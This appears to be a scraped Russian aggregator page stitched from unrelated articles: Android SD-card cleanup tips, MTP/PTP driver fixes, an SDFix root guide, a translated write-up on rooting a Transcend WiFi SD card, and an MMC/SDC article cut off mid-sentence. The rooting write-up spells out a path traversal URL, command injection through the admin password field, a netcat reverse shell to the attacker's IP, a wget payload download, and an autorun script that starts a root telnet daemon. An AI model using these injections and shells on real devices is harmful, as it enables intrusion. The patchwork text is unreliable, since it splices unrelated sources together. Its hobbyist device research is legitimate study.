HomeРазноеКарта памяти коснитесь здесь для передачи файлов мультимедиа: Как пользоваться SD-картой на телефоне

Карта памяти коснитесь здесь для передачи файлов мультимедиа: Как пользоваться SD-картой на телефоне

Содержание

Что такой коснитесь здесь передач файлов. SuperBeam — мощный инструмент для передачи файлов по Wi-Fi без интернета. Как обмениваться данными с помощью Android Beam

«Накопитель заполнен на 75%. Коснитесь для передачи на SD карту». Наверняка такую надпись видел каждый владелец смартфона на Android. Проблема заключается в том, что Android оставляет служебную информацию, которая со временем разрастается и не дает использовать память для более нужных вещей.

Это файлы от удаленных приложений, кэш, который возможно давно не нужен. И настоящая черная дыра для памяти – миниатюры изображений. Удаление файлов фотографий, видеозаписей, музыки и приложений убирает сообщение ненадолго. Оно появляется вновь все чаще и чаще. Проблема нехватки места стоит перед владельцами смартфонов достаточно остро. Благодаря большим картам памяти и постоянному снижению их стоимости памяти в принципе большинству уже хватает. Однако внутренней памяти в самом аппарате хватает далеко не всем, а именно она нужна для работы системы и имеет свойство заканчиваться.
И так, у нас заканчивается место и постоянно появляется подобное сообщение с предложением передать данные на SD карту.

В итоге наступает момент, когда передача не высвобождает уже практически ничего.

Для освобождения места нужно:
1 Зайти в настройки программ, которыми Вы делаете фото и снимаете видео и в качестве места сохранения указать не внутреннюю память, а SD карту. Разумеется, если она есть.
2 Зайти в настройки, приложения, найти приложения занимающие много места. Тапнуть по такому приложению если там есть кнопка «Перенести данные на SD карту» нажать ее. Эта кнопка имеется, если функцию поддерживает телефон и приложение.
3 Установите приложение Clean master.

Проведите анализ. Обязательно убедитесь, что clean master не предлагает удалить нужную информацию. Проведите отчистку. Там же можно найти расширенную отчистку и оценить, какие файлы и приложения занимают много места. Саму программу после работы лучше удалить и устанавливать когда это необходимо. Дело в том, что программа помимо основной функции выполняет кучу вспомогательных, иногда бессмысленных. Всплывающие уведомления о бессмысленной оптимизации оперативной памяти, погода, новости, оптимизатор зарядки, якобы найденные подозрительные файлы и предложение установить антивирус и т.д.
4 Установите приложение Ccleaner

Выполните анализ. Обратите внимание на строку «кэш миниатюр» и занимаемое ими место.

О полном запрете создания файла кэша миниатюр будет написано ниже. Выполните отчистку необходимого, за исключением кэша миниатюр. В отличие от предыдущей программы в настройках Ccleaner можно отключить напоминания об очистке. После этого приложение не висит в памяти и его можно не удалять.
5 Запретите создание файла кэша миниатюр.

Кэш миниатюр – специальный файл, в который сохраняются уменьшенные копии фотографий и изображений. Это позволяет телефону отрисовывать миниатюры когда они нужны не открывая основные файлы, что по идее увеличивает скорость отображения миниатюр и в теории слегка снижает расход батареи. Бывает, что в файле остаются миниатюры, оригиналов которых давно нет и сам файл по размеру больше, чем все имеющиеся изображения. Если периодическое удаление этого файла не дает эффекта и место, занимаемое им действительно нужно, можно запретит его создание.
— Установите приложение Total Commander.
— Зайдите в настройки и разрешите просмотр скрытых файлов и папок.

— Нажмите кнопку с домиком для перехода на главный экран
— Выберите SD карту (если их две – начните со встроенной, обычно она меньшего размера)
— Нажмите

Что делать, когда ПК не видит смартфон

Как
известно, андроидные смартфоны можно
подключать к компьютеру через USB-кабель
— чтобы получить доступ ко встроенной
памяти смартфона и содержимому карты
памяти (если она установлена в
смартфоне).

С брендовыми смартфонами -
Samsung, Huawei, Lenovo, Sony, HTC и так далее — обычно
так и происходит: подключили смартфон
по USB, после этого он появляется в «Устройствах
и дисках».

Далее щелкаете по пиктограмме
смартфона (ну или планшета, без разницы) -
получаете содержимое встроенной памяти
и карты памяти. Ну и там вы можете
создавать папки, копировать туда
аудиокниги, музыку, фото, документы,
видео и черта лысого.

Однако многие пользователи
китайских смартфонов (планшетов) менее
известных производителей жалуются на то,
что при подключении смартфона к
компьютеру он не появляется в «Устройствах
и дисках». Что делать в этом случае?

В
этом случае нужно заглянуть в область
уведомлений и щелкнуть там по
уведомлению «Зарядка через USB». (Обычно
называется так, но может называться как-то
вроде «Настройка подключения по USB».)

После
этого вам откроется окно выбора режима
использования USB.

Зарядка
— компьютер заряжает подключенный
смартфон, но система его не видит.

Передача
файлов (MTP)
— максимальный доступ с
компьютера к смартфону, при котором
будет видно содержимое встроенной
памяти и карты памяти.

Передача
фото (РТР)
— при этом виде
подключения смартфон в устройствах
должен появиться, но доступ будет только
к папке с фото, видео (DCIM) и скриншотам (Pictures).

Вам нужно выбрать пункт «Передача
файлов», после чего смартфон должен
появиться в устройствах.

Ключевое
слово — должен появиться. А может и не
появиться, что нередко происходит с
китайскими смартфонами при первом
подключении. Я, тестируя кучу смартфонов,
с таким сталкиваюсь постоянно.

Так
вот, как решать данную проблему, ведь это
очень неудобно, если вы не можете
получить доступ к содержимому смартфона?
(Карту памяти, если что, можно вытащить и
подключить к компьютеру через
переходник, а вот со смартфоном этот
номер не пройдет.)

Тот факт, что
смартфон не появился в списке доступных
устройств, говорит только о том, что
система не смогла для него установить
правильные драйверы.

Подтверждение
этому тезису вы найдете, если зайдете в Панель
управления — Диспетчер устройств -
Переносные устройства
. Там наверняка
в списке будет значок с названием
смартфона, на котором размещен
предупреждающий желтый треугольник с
черным восклицательным знаком. Это как
раз и означает, что для устройства не
установлены правильные драйверы.

Щелкаете
на устройстве правую кнопку мыши и
выбираете пункт «Обновить драйверы».
Перед вами появится вот такое окно. Там
выбираете «Выполнить поиск драйверов
на этом компьютере».

Далее
в следующем окне выбираете «Выбрать
драйвер из списка уже установленных
драйверов».

И
там выбираете USB-устройство MTP.

И
все, нужный драйвер будет установлен,
смартфон появится в системе!


Если вы, увидев в «Диспетчере
устройств» значок смартфона с желтым
треугольником, попытались при этом
обновить драйвер с автоматическим
поиском, то с высокой долей вероятности
после этого получите вот такое
сообщение.

А
устройство при этом попадет уже в «Другие
устройства» с названием «Android».

В
этом случае также нужно произвести
вышеописанные действия, вот только
после вызова драйвера из списка
установленных сначала надо будет
выбрать MTD-устройства, и только после
этого появится соответствующий список,
в котором нужно выбрать USB-устройство MTP.

И
все, проблема решена.


Ну и чтобы два раза не вставать.
Многих пользователей раздражает тот
факт, что по умолчанию при подключении
смартфона выставляется режим «Просто
зарядка». И вы никак не можете
поменять его по умолчанию на режим «Передача
файлов».

На
самом деле это можно сделать, но путем
пары заклинаний.

Для этого
сначала вам нужно на смартфоне включить
режим разработчика, который по
умолчанию выключен. Для этого следует
зайти в «Настройки», далее в раздел
«О телефоне — Информация об устройстве»
и там 8 раз тапнуть пальцем в пункт «Номер
сборки». После этого в настройках в
самом низу над «О телефоне»
появится новый раздел «Для
разработчиков».

Заходите
туда, там ищете «Конфигурация USB» и в
нем выставляете MTP.

MTP, PTP и USB Mass Storage

Старые устройства Android поддерживают USB-накопители для передачи файлов с помощью компьютера. Современные устройства Android используют протоколы MTP или PTP — Вы можете выбрать тот, который
предпочитаете.

Чтобы выбрать протокол подключения USB, откройте приложение «Настройки», нажмите «Память», нажмите кнопку меню и нажмите «Подключение к компьютеру через USB». Вы также увидите протокол в уведомлении, который Ваше устройство использует, когда оно подключено к компьютеру через USB.

Почему современные устройства Android не поддерживают USB Mass Storage

Запоминающее устройство USB — также известное как «класс устройств USB mass storage», USB MSC или UMS — было способом, которым более ранние версии Android отображали свое хранилище на компьютере. Когда Вы подключили устройство Android к компьютеру, Вам нужно было специально нажать кнопку «Подключить хранилище к ПК», чтобы сделать хранилище устройства Android доступным для компьютера через USB-накопитель. При отключении его от компьютера Вам нужно было нажать кнопку «Отключить USB-накопитель».

USB-накопитель — это стандартный протокол, используемый флэш-накопителями, внешними жесткими дисками, SD-картами и другими USB-накопителями. Диск полностью доступен для компьютера, как если бы он был внутренним.

Были проблемы такой работой. Какое бы устройство ни обращалось к хранилищу, ему нужен эксклюзивный доступ. Когда Вы подключили хранилище к компьютеру, оно было отключено от операционной системы Android, работающей на устройстве. Любые файлы или приложения, хранящиеся на SD-карте или USB-накопителе, были недоступны при подключении к компьютеру.

Системные файлы должны были где-то храниться, поэтому у устройства Android есть отдельные разделы /data для «системного хранилища» и /sdcard для «USB хранилища» на одном внутреннем устройстве хранения. Android устанавливал приложения и системные файлы в /data, а пользовательские данные были сохранены в разделе /sdcard.

Из-за этого жесткого разделения Вы могли получить слишком мало места для приложений и слишком много места для данных. Нельзя было изменить размер этих разделов без рутирования Вашего устройства — производитель выбрал соответствующее количество для каждого раздела на заводе.

Поскольку файловая система должна была быть доступна с устройства Windows, она должна была быть отформатирована с файловой системой FAT. Мало того, что у Microsoft есть патенты на FAT, FAT также является более старой, более медленной файловой системой без современной системы разрешений. Android теперь может использовать современную файловую систему ext4 для всех своих разделов, потому что они не должны быть доступны для чтения непосредственно Windows.

Подключение телефона или планшета Android к компьютеру в качестве стандартного USB-накопителя удобно, но есть слишком много недостатков. Поэтому современные устройства Android используют разные протоколы USB-подключения.

MTP — медиаустройство

MTP расшифровывается как «Media Transfer Protocol». Когда Android использует этот протокол, он представляется компьютеру как «мультимедийное устройство». Протокол передачи мультимедиа широко рекламировался как стандартизированный протокол для передачи аудиофайлов на цифровые музыкальные проигрыватели с использованием Windows Media Player и аналогичных приложений. Он был разработан, чтобы позволить другим компаниям медиаплеера конкурировать с iPod Apple и iTunes.

Этот протокол работает совсем не так, как USB-накопитель. MTP работает не на уровне файлов, а на файловой системе Вашего Android-устройства. Ваше устройство Android не предоставляет доступ ко всему устройству хранения Windows. Вместо этого, когда Вы подключаете устройство к компьютеру, компьютер запрашивает устройство, а устройство отвечает списком файлов и каталогов, которые оно предлагает. Компьютер может загрузить файл — он запросит файл с устройства, и устройство отправит файл через соединение. Если компьютер хочет загрузить файл, он отправляет файл на устройство, и устройство решает сохранить его. Когда Вы удаляете файл, Ваш компьютер отправляет на устройство сигнал «пожалуйста, удалите этот файл», и устройство может удалить его.

Android может выбирать файлы, которые он Вам предоставляет, и скрывать системные файлы, чтобы Вы не могли их видеть или изменять. Если Вы попытаетесь удалить или отредактировать файл, который нельзя изменить, устройство отклонит запрос, и Вы увидите сообщение об ошибке.

Вашему компьютеру не требуется эксклюзивный доступ к устройству хранения, поэтому нет необходимости подключать хранилище, отключать его или иметь отдельные разделы для разных типов данных. Android также может использовать ext4 или любую другую файловую систему по своему усмотрению — Windows не должна понимать файловую систему, только Android.

На практике MTP очень похож на USB-накопитель. Например, устройство MTP отображается в проводнике Windows, чтобы Вы могли просматривать и передавать файлы. Linux также поддерживает устройства MTP через libmtp, который обычно входит в состав популярных дистрибутивов Linux. Устройства MTP также должны появиться в файловом менеджере Вашего ПК с Linux.

Apple Mac OS X — это отдельное решение — оно вообще не включает поддержку MTP. Apple iPod, iPhone и iPad используют собственный проприетарный протокол синхронизации вместе с iTunes, так почему же они хотят поддерживать конкурирующий протокол?

Google предоставляет приложение Android File Transfer для Mac OS X. Это приложение является простым MTP-клиентом, поэтому оно будет работать для передачи файлов туда и обратно на Mac. Google не предоставляет это приложение для других операционных систем, поскольку они включают поддержку MTP.

PTP — цифровая камера

PTP означает «Протокол передачи изображений». Когда Android использует этот протокол, он представляется компьютеру как цифровая камера.

MTP фактически основан на PTP, но добавляет больше функций или «расширений». PTP работает аналогично MTP и обычно используется цифровыми камерами. Любая программа, которая поддерживает захват фотографий с цифровой камеры, будет поддерживать захват фотографий с телефона Android при выборе режима PTP. PTP был разработан, чтобы быть стандартным протоколом для связи с цифровыми камерами.

В этом режиме Ваше устройство Android будет работать с приложениями для цифровых камер, которые поддерживают PTP, но не MTP. Apple Mac OS X поддерживает PTP, поэтому Вы можете использовать режим PTP для передачи фотографий с устройства Android на Mac через USB-соединение без какого-либо специального программного обеспечения.

Если у Вас старое устройство Android, Вы вынуждены использовать USB-накопитель. На современном устройстве Android у Вас есть выбор между MTP и PTP — Вы должны использовать MTP, если у Вас нет программного обеспечения, которое поддерживает только PTP.

Если на Вашем устройстве установлена съемная SD-карта, Вы можете извлечь SD-карту и вставить ее в слот для SD-карты Вашего компьютера. SD-карта будет доступна для Вашего компьютера в качестве устройства хранения, так что Вы сможете получить доступ ко всем файлам на ней, запустить программное обеспечение для восстановления файлов и делать все, что Вы не можете сделать с MTP.

Как дать разрешение на запись на флешкарту приложениям на Android 4.4, 5.0, 5.1 (на примере MIUI Xiaomi)

Добрый день. Те, кто читал мой прошлый блог знают, что я являюсь владельцем Nexus 4, в котором нет флеш-карты, поэтому я в принципе и не знал о существование этой проблемы. В общем, Google, из каких-то соображений безопасности (не знаю каких, посмотреть бы на этого человека), начиная с Andoid 4.4 запретил доступ приложениям редактирование и запись данных  на флеш-карту. То есть флеш-карта с этого момента используется только для хранения мультимедиа, притом удалять и сохранять туда могут только несколько приложений, все остальное через компьютер. Представьте мое удивление, когда я прикупил новенький Xiaomi RedMi Note 2, а тут такое… Но как и все на андроид, это можно вылечить, притом достаточно просто. Но для процедуры ниже нужен рут-доступ. Я буду использовать стандартный MIUI, всем остальным добро пожаловать на 4pda в тему вашего телефона. Для тех, у кого рута нет, есть второй способ, который будет описан в конце статьи. Попробуйте его.

Способ при наличии рут-доступа (подойдет любой Root менеджер).

Итак, сначала нам понадобится программа SDFix (она доступна в Google Play), открываем ссылку и жмем установить.

 

Запускаем, читаем предупреждение что можно сломать телефон, но мы же везучие поэтому жмем кнопку Continue.

Ставим галочку в чекбокс и снова жмем Continue. 

После нажатия приложения программа затребует рут доступ у устройства, если у вас стоит SuperSU,  то даем рут, если нет видим данное сообщение:

Как я говорил, буду использовать встроенный рут, поэтому ищем иконку «Безопасность» на рабочем столе и запускаем приложение. Жмем кнопку «Разрешения«.

Выбираем Root-доступ.

И тапаем по нашему SDFix, если у вас нет его в списках, значит вы не проходили первые шаги этой инструкции, для использования стандартного рута обязателен запрос от приложения.

Ждем пять секунд и подтверждаем разрешение на предоставление увеличенных прав.

Все ОК.

Снова открываем SDFix, и повторяем первые шаги этой инструкции, на выходе получим следующее окно.

Оно говорит, что доступ к флешке получили все приложения, которые его запрашивали и нужно перезапустить телефон. Перезапускаемся и запоминаем, что после обновления прошивки действия придется повторить.

Способ для телефонов без рута

Если кто ещё не понял, то почти весь этот сайт — качественный рерайт, текст о сложном, переписанный максимально простым языком лично мной. Источники при этом я не указываю, так как я просто ищу вдохновление в чужих статьях, а не пытаюсь их копировать. Так вот, прислали тут в комментарии ссылку на статью с этим способом, так почему же не переписать, чтобы помочь пользователям без рута, которые уже попали на этот сайт.

У меня с переходим на MIUI 8 от miui.su, доступ к флешке всегда есть по-умолчанию, поэтому проверить я не могу, но по идеи этот способ также может подойти другим модификациям Android.

Открываем «Настройки» → листаем вниз списка и жмём по «Все приложения».

Листаем в самый низ и видим там «Документы» с пометкой «Отключено». Тапаем по нему.

Внизу экрана жмём на кнопку «Включить».

Самое интересное, что обратно его отключить в ручную похоже не получится, ну да ладно, нам это не нужно. Идём в файловый менеджер, которому нужен был доступ и проверяем его наличие.

Вроде всё. Надеюсь эта статья оказалась вам полезной, нажмите одну из кнопок ниже, чтобы рассказать о ней друзьям. Также подпишитесь на обновления сайта, введя свой e-mail в поле справа или подписавшись на группу во Вконтакте.

Спасибо за внимание

Материал сайта geekteam.pro

Хакаем Transcend WiFi SDHC карту памяти / Хабр

Перевод немного вольный, но смысл не потерян. Я (переводчик) заинтересовался этой карточкой давно и почти сразу заказал её, сегодня забрал с почты и не могу нарадоваться, но хочется больше, чем дает Transcend, а карточка, между прочим, Linux сервер с WiFi! Очень много буковок.

С недавнего времени я стал счастливым обладателем карты памяти Transcend WiFi SD, которая позволяет мне передавать фотографии с моей «зеркалки» (которая вообще то Sony NEX, зато компактная) на любое устройство с WiFi за несколько секунд. А так как мне нравится делать фотографии и делиться с ними на лету, то SD карточка, умеющая без проводов передавать картинки на мой телефон, кажется прекрасным решением. И это было так! (хотя всё еще так). Мобильное приложение может… не, должно быть получше (зачем скачивать 7МБ картинку для просмотра, чтобы потом ЕЩЕ раз скачать её, нажав на «Скачать»?), но вообще оно делает своё дело!


Я был поражен, что столь малое устройство может хранить не только 16ГБ или даже 32ГБ, но еще и является встроенной системой, способной запускать приложения, включая веб сервер, общаться с другими устройствами через WiFi и даже создавать свою беспроводную сеть. Но хватит болтать: можем ли мы заставить это устройство делать больше?

Этот пост написан не только для собственно эксплоита, который позволяет получить root доступ (джейлбрейк), но так же расскажет о процессе исследования и нахождения багов, некоторые из которых просто тупики, а другие приводят к получению священного рута.

Готовимся к хаку

Изначально я предполагал что в карточке какой то встроенный Linux. Если это так, то расширить функционал скорее всего будет довольно просто! Но сперва надо бы взять контроль над системой в свои руки. До этого с этой карточкой я использовал только Android и iOS приложение, но было очевидно, что самый простой вариант общаться с ПК — это веб интерфейс. И следующая мысль немедленно посетила мою голову:

Если мобильные приложения такие хреновенькие, то и веб интерфейс не лучше… возможно он полон багов, которые можно использовать в своих интересах.

Как же я оказался прав!
Как только вы подсоединяетесь к веб интерфейсу (IP карточки 192.168.11.254 (у меня 253, но не суть), стандартный логин и пароль admin), вы испытываете такие же фиговые чувства, как при использовании мобильного приложения. Плохие «пользовательские ощущения», но хорошее «хакерское предвкушение». В то время как многие используют крутые инструменты для обнаружения уязвимостей, безопасность этой системы была на столько «ниочемной» что я мог найти баги, просто немного поковырявшись.

Меню «Files» выделяется среди других, и позволяет смотреть что есть на карте памяти. К сожалению, тут нельзя перейти в родительскую корневую папку карты памяти. Или позволяет? Это несомненно было бы полезно, так как вы сможем увидеть внутренности системы и получить больше информации о её работе а может быть и запустить какой нибудь код через веб интерфейс, если мы счастливчики. Мы заметили что ссылка «Parent Directory» указывает на URL(%2F это символ «/»):
192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd

Так что попробуем перейти в папку /www, через URL: 192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww

Но, не судьба. Попытки попасть в /, /bin, /etc или любую другую директорию провалились. Эх, 🙁 не удача. Это было бы слишком просто! Что ж, оказывается это не очень то и сложно, так как программисты не особо заботились о безопасности. Попробуем зайти так ?dir=/www/sd/../.. вроде бы это должно быть тоже самое, что и просто /, и это сработало!


Ух, как же стыдно должно быть! Похоже что программисты сделали проверку, чтобы путь начинался с /www/sd, но не проверяют очевидный путь попадания в родительскую папку «../». Таким вот путем мы можем исследовать любые файлы системы. Конечно, нажатия на файлы не запускают их, а только скачивают, но это уже большое дело!

После ползания по файловой системе и скачивания скриптов, не стало сюрпризом, что система использует busybox, да и много файлов являются симлинками на busybox. Хотя не все из них, как например скрипты в папке /www/cgi-bin. И они то самые интересные, так как мы можем запускать их просто указывая ссылку в браузере.

Начнем хакание

Это всё выглядит многообещающе! Теперь, когда мы имеем доступ к внутренностям системы, не смотря на то что она в режиме «только для чтения», это дает нам огромное преимущество, так как мы можем изучать её работу и смотреть на баги и дырки 🙂
Хождение по скрипам, в поисках багов, которые можно использовать, не отняло много времени. Все они — это Perl скрипты. Perl имеет интересную особенность при открытии файлов через вызов open(), потому как это не только открывает файлы, но запускает программы если путь до файла не путь, а shell команда, заканчивающаяся «трубой» (pipe). Как например open("cat /etc/passwd |"). Другая особенность использования open() заключается в том, что мы можем записать в файл в любом месте или перезаписать существующий файл, так что мы можем написать свой собственный код и запустить его после этого. Давайте посмотрим, сможем ли мы использовать какие то файлы для этого.

Один файл меня заинтересовал, так как содержит вызов open() включающий пользовательскую переменную. kcard_upload.pl содержит следующее:

Вобще то этот файл вообще не используется в веб приложении! kcard_upload.pl скрыт от пользователей, но он всё еще есть и полностью доступен в cgi-bin директории. Мы можем запустить его через браузер. Это двойной facepalm: иметь дырявый скрипт, которые еще и не используется! Но сможем ли мы его приспособить для своих нужд?

Просматривая код kcard_upload.pl, я понял, что есть три проблемы делающие использования переменной $basename затруднительным.

Во первых, $basename на самом деле не прямой ввод пользователя, а является результатом вывода GetBasename($upfile). А вот $upfile передается пользователем (в данном случае хакером). А точнее, путь к файлу, который HTML форма запрашивает для загрузки. Но если мы подставим путь, то GetBasename вернет только имя файла на конце пути. Это делает переход по каталогам (как «хак» ../../ выше) невозможным.

Во вторых, значение в $basename переводится в верхний регистр, т.е. что бы мы не пихнули туда, всё будет изменено, что несколько усугубляет наши планы.

Третья проблема заключается в том, что скрипт kcard_upload.pl разрешает загружать только PNG, JPG, BMP и GIF файлы.

И это конец? Не тут то было!

Если посмотреть на код повнимательнее, то мы поймем, что хотя программисты и хотели таким способом ограничить загружаемые типы файлов, но они на самом деле проверяют только содержится ли расширение в названии файла, а не заканчивается ли файл на это самое расширение.


В дополнении, регулярное выражение на самом деле не проверяет символ точки, так как точка указывает на любой символ, кроме переноса строки. Точка должна была бы быть экранирована "\". Я предполагаю что программисты хотели написать /\.GIF$/, но написали только /.GIF/, таким образом мы можем обойти это ограничение, включив любой вариант из комбинации этих трех букв в любое место нашего пути, как например /hi/helPNGlo/asdf.something. Сложно назвать это неудобством!

Так как наш путь будет всегда преобразовываться в верхний регистр, возможно мы больше не сможем вызывать системные команды (большинство из них не в верхнем регистре), но может быть мы все еще можем загружать файлы, вставив таким образом наши собственные скрипты в систему. И нас в общем то и не волнует что имена этих скриптов будут написаны большими буквами.

Наконец, если вы помните, наш путь изменяется через GetBasename() до сохранения в переменной $basename. GetBasename() делить путь и берет только имя файла на конце. То есть /path/to/file.txt превратится просто в file.txt. Это плохо, потому как это больше не позволит нам манипулировать путем и вставлять что-то вроде "../../bin/our-malicious.script", так как это всегда будет заканчиваться на "our-malicious.script" и сохраняться в DCIM/198_WIFI/

И снова здрасте, код в GetBasename() содержит баг, который можно поэксплуатировать.

Код рассматривает два случая: пользователь вставляет путь в стиле windows с обратными слешами и пользователь вставляет путь с нормальными слешами (используется во всех OC кроме windows). Хотя правильнее сказать что такое поведение предполагается! А на самом же деле проверяется содержится ли в строке обратный слеш и тогда предполагается что это windows путь, так что строка делится обратными слешами. То есть на самом деле не проверяется состоит ли путь из обратной черты! Так что дадим следующий путь:
/эта/часть/пути/будет/вырезана\/этот/путь/будет/использоваться

Так как строка содержит обратный слеш, скрипт предполагает что это путь для windows, так что окончание пути на самом деле не окончание пути (не имя файла), а вообще то просто путь. В нашем примере путь будет /этот/путь/будет/использоваться

Вуаля! Путь вроде /PNG/something\/../../our-malicious.script пройдет все проверки и будет записан куда нам надо. Хорошие новости. А плохая новость — ничего из этого работать не будет. Упс! Потому как скрипт предполагает что ../DCIM/198_WIFI существует, но скрипт запущен из /www/cgi-bin, и это не так (правильный путь должен быть ../sd/DCIM/198_WIFI). Пичалька, ничего с этим не поделать. Этот баг зашит в скрипт. Разработчики и не должны были уделять внимание этому, ведь скрипт не предполагалось использовать (он скрыт, помните?). Похоже что это тупик, не смотря на все наши усилия. Может кто-то предложит другое инновационное решение.

(Кроме того, форма, выводящаяся kcard_upload.pl не вызывает саму себя, а вызывает бинарник с названием wifi_upload, так что мы должны были сделать HTTP POST запрос самостоятельно.)

Хакаем

Но постойте! Мы уже убедились что качество кода так себе, и еще куча багов может быть. На самом деле, я не буду рассматривать большинство из них. Есть и другие «тупики» на которые я натыкался и детально не описывал в этом посте. Я подробно расскажу об одном конкретном баге, который выделяется простотой использования.

Существует много способов вызова shell команды непосредственно из perl скрипта, и если разработчики подошли к этому легкомысленно, то возможно мы можем запускать собственные shell команды! Использование system() — это один из способов запуска shell кода в perl скрипте. Оказалось что system() используется довольно часто в .pl и .cgi файлах, но их аргументы зашиты в код, так что особо не попользоваться. Другой способ исполнения shell кода в perl — это использование qx{} выражения, но это вообще не используется. В любом случае, третий путь — это использование обратных кавычек вокруг кода, что эквивалентно использованию qx{}. И тут такого много, они подставляют данные, вводимые пользователем в их shell код. Замечательно! Т.е. их shell код смешивается с нашим вводом, так что это можно использовать для запуска нашего собственного кода.

Вот одна замечательная строчка в kcard_save_config_insup.pl, которая прям как подарок на Новый год:

Это выражение запускает любую команду, обозначенную в переменной $update_auth, с аргументами $LOGIN_USR и $LOGIN_PWD. Оба аргумента приходят напрямую из формы, то есть эти аргументы полностью подвластны нам. Никаких проверок на ввод не делается! Это форма, которая отображается когда вы заходите в веб интерфейс и нажимаете на «Settings». Вы можете получить к этому доступ прямо из строки браузера по адресу 192.168.11.254/kcard_edit_config_insup.pl. Это логин и пароль для админа. Это значит, что подбирая особый пароль, мы может выполнить код! Во-первых, пароль должен содержать точку с запятой, чтобы запустить новую shell команду после выполнения команды $update_path. Затем идет любой код, какой мы захотим. И наконец, пароль должен заканчиваться символом # (начало комментария), чтобы всё что идет после было игнорировано > /mnt/mtd/config/ia.passwd.

Это всё легко проверить, выбрав например такой пароль: admin; echo haxx > /tmp/hi.txt #

Форма, на самом деле, проводить некоторые здравые проверки и не допускает длинных паролей и странных символов. Учитывая тот факт, что проверки сделаны на javascript, а не на стороне сервера, мы можем очень просто их проигнорировать. Я использовал расширение для Chrome Form Editor чтобы избавиться от этой проблемы.

После отправки формы, мы легко можем убедится что эксплоит эффективен, зайдя в папку /tmp используя хаки, что описаны выше. Мы даже можем скачать файл и проверить что его содержимое верное.

Не забудте восстановить ваш пароль «admin», иначе придется сбрасывать настройки после использования этой дыры. (восстановление не коснется ваших фотографий, вроде бы).

А где же root?

Теперь мы умеем не только читать любой файл в файловой системе, но еще и выполнять shell код и записывать в файлы. Тем не менее, у нас всё еще нет нормального доступа к системе.
Просматривая содержимое папки /usr/bin вы можем сказать, что там много полезностей для нас чтобы создать обратный shell: netcat (nc), telnet и другие. Обратный shell работает ожидая входящие соединения на определенный порт нашего компьютера, и имеет целевую систему, соединенную с ним, пока запущен shell который берет ввод с этого соединения и выводить всё через это соединение (простите, я сам запутался). Есть много путей сделать это, но самый простой — это использовать Netcat:
nc 192.168.11.11 1337 -e /bin/bash
Это заставит netcat подключится к нашему ПК (у которого IP 192.168.11.11) на порту 1337 и прокинуть bash через него. Естественно, чтобы запустить это, надо использовать дырку описанную выше, «изменяя» пароль на admin; nc 192.168.11.11 1337 -e /bin/bash #. И к сожалению это опять не работает. Так что попробуем другие трюки с telnet или еще каким софтом. Так почему же не работает? Симлинки для nc, telnet и другого в /usr/bin, и синтаксис команды верный! В общем эти инструменты были отключены в busybox который находится на нашей любимой SD карточке со встроенным Linux. Пичалька. Мы можем проверить это, попытавшись запустить telnet или netcat и перенаправив stdout и stderr в /tmp/hi.txt, вот такой командой: nc 192.168.11.11 1337 -e /bin/bash &> /tmp/hi.txt. Загрузив hi.txt, мы увидим в его содержимом: nc: applet not found, что означает отключенный nc. Вот ведь засада! Так что же, мы ограничены в запуске команд через эту дырявую форму и при этом не имеем сетевых утилит? Ну конечно же нет! 🙂

К счастью, wget используется некоторыми transcend-овыми скриптами, и эта утилита включена. И это позволит нам скачать нафаршированный busybox :))) Я слишком ленивый, чтобы собирать самостоятельно, так что я взял уже готовую сборку busybox с http://busybox.net/downloads/binaries/latest/, положил busybox-armv5l на мой локальный веб сервер и просто запустил wget 192.168.11.11/busybox-armv5l используя ту дырявую форму, чтобы загрузить это на карту памяти в /www/cgi-bin. А так же я выполнил chmod a+x /www/cgi-bin/busybox-armv5l чтобы быть наверняка уверенным, что он потом запустится.

Наконец то я получил свой удаленный shell! Мой компьютер слушает порт 1337 после запуска nc -vv -l 1337, и SD карточка открывает соединение на этот порт /www/cgi-bin/busybox-armv5l nc 192.168.11.11 1337 -e /bin/bash. А так как busybox имеет все утилиты, мы можем запустить /www/cgi-bin/busybox-armv5l команда через полученный shell чтобы получить доступ ко богатому набору команд! Для примера, /www/cgi-bin/busybox-armv5l id расскажет нам, что мы уже под root-ом!

Еще больше хакерства

В случае, если вы всё же забыли пароль и требуется восстановить его, вы можете сбросить настройки SD карты (есть специальная картинка, скидывающая настройки карты после перезагрузки). Но, вы можете восстановить пароль из-за крайне беспечной ошибке в одном из «скрытых» perl скриптов, а именно kcard_login.pl, который делает самую странную процедуру авторизации, когда либо существовавшую во вселенной. Она извлекает пароль из файла wsd.conf и затем предлагает через javascript коде проверить его на стороне пользовательского браузера. Да да, вы всё верно прочитали. Проверка сделана на javascript!

Это значит, что всё что вам нужно сделать для восстановления пароля это зайти на 192.168.11.254/cgi-bin/kcard_login.pl и посмотреть исходный код страницы. Пароль будет прямо там.


Лицорука!

А еще спасибо за дружелюбный хакерский бекдор

Один из скриптов (rcS.p rcS), который запускается при старте, автоматически выполняет autorun_fu.sh или autorun.sh если они есть в корне карты памяти. Это облегчит дальнейшее улучшение и взлом. Спасибо, Transcend!

У меня есть вот такой скрипт (с названием autorun.sh), вместе с busybox-armv5l в корне карты памяти, так что я могу просто заходить через telnet в систему:

cp /mnt/sd/busybox-armv5l /sbin/busybox
chmod a+x /sbin/busybox
/sbin/busybox telnetd -l /bin/bash &

Так что вы можете зайти на карточку сразу после включения и окончания загрузки:

Удачного хакинга!

Надеюсь перевод понравился, замечания и предложения пожалуйста в личку, никто не идеален. А еще рекомендую погуглить keyasic

Наверно будет не лишнем вставить рекламный ролик этой карты:

Как использовать карты памяти MMC/SDC | file-systems

Перевод замечательной статьи, рассказывающей про тонкости применения популярных карт памяти (MMC, SD, SDHC, SDC, miniSD, microSD) в малых встраиваемых проектах на микроконтроллерах.


Карты FLASH памяти Secure Digital Memory Card (далее сокращенно SDC) являются стандартом де-факто для расширения памяти мобильных устройств. SDC были разработаны с учетом обратной совместимости с картами памяти Multi Media Card (далее сокращенно MMC). SDC-совместимое оборудование может также использовать во многих случаях и карты MMC (причем в слот для карты SD обычного размера можно установить карту MMC). Имеются также версии карт уменьшенного посадочного размера, известные как RS-MMC, miniSD и microSD, которые функционируют точно так же, как и карты большого размера. Карты MMC/SDC имеют встроенный микроконтроллер. Управление памятью flash (очистка erase, чтение, запись, обработка ошибок и выравнивание износа ячеек — wearleveling) полностью осуществляются внутри карты памяти. Данные передаются между картой памяти и внешним управляющим контроллером (host controller) в виде блоков данных по 512 байт (минимальная единица информации карты памяти), так что карту можно рассматривать как простой стандартный привод жесткого диска с точки зрения слоев ввода-вывода верхнего уровня. В настоящее время для карт памяти применяется файловая система FAT12/16 по правилам создания разделов 